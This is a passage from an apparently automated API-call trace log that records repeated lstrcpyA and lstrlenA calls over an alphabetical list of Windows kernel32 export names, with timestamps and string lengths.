lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0122.090] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0122.090] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0122.090] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0122.090] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0122.090] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0122.090] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0122.090] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0122.090] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0122.091] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0122.091] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0122.091] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0122.091] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0122.091] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0122.091] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0122.091] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0122.091] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0122.091] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0122.091] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0122.091] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0122.091] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0122.091] lstrlenA (lpString="BEEP") returned 4 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0122.091] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0122.091] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0122.091] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0122.091] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0122.092] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0122.092] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0122.092] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0122.092] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0122.092] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0122.092] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0122.092] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0122.092] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0122.092] lstrlenA (lpString="CANCELIO") returned 8 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0122.092] lstrlenA (lpString="CANCELIOEX") returned 10 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0122.092] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0122.092] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0122.092] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0122.092] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0122.092] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0122.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0122.092] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0122.093] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0122.093] lstrlenA (lpString="CHECKELEVATION") returned 14 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0122.093] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0122.093] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0122.093] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0122.093] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0122.093] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0122.093] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0122.093] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0122.093] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0122.093] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0122.093] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0122.093] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0122.093] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0122.093] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0122.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0122.094] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0122.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0122.094] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0122.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0122.094] lstrlenA (lpString="CLOSESTATE") returned 10 [0122.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0122.094] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0122.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0122.094] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0122.095] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0122.095] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0122.095] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0122.095] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0122.095] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0122.095] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0122.095] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0122.095] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0122.095] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0122.095] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0122.095] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0122.095] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0122.095] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0122.095] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0122.095] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0122.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0122.096] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0122.096] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0122.096] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0122.096] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0122.096] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0122.096] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0122.096] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0122.096] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0122.096] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0122.096] lstrlenA (lpString="COPYCONTEXT") returned 11 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0122.096] lstrlenA (lpString="COPYFILE2") returned 9 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0122.096] lstrlenA (lpString="COPYFILEA") returned 9 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0122.096] lstrlenA (lpString="COPYFILEEXA") returned 11 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0122.096] lstrlenA (lpString="COPYFILEEXW") returned 11 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0122.096] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0122.096] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0122.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0122.097] lstrlenA (lpString="COPYFILEW") returned 9 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0122.097] lstrlenA (lpString="COPYLZFILE") returned 10 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0122.097] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0122.097] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0122.097] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0122.097] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0122.097] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0122.097] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0122.097] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0122.097] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0122.097] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0122.097] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0122.097] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0122.097] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0122.097] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0122.097] lstrlenA (lpString="CREATEEVENTA") returned 12 [0122.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0122.098] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0122.098] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0122.098] lstrlenA (lpString="CREATEEVENTW") returned 12 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0122.098] lstrlenA (lpString="CREATEFIBER") returned 11 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0122.098] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0122.098] lstrlenA (lpString="CREATEFILE2") returned 11 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0122.098] lstrlenA (lpString="CREATEFILEA") returned 11 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0122.098] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0122.098] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0122.098] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0122.098] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0122.098] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0122.098] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0122.098] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0122.098] lstrlenA (lpString="CREATEFILEW") returned 11 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0122.098] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0122.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0122.099] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0122.099] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0122.099] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0122.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0122.099] lstrlenA 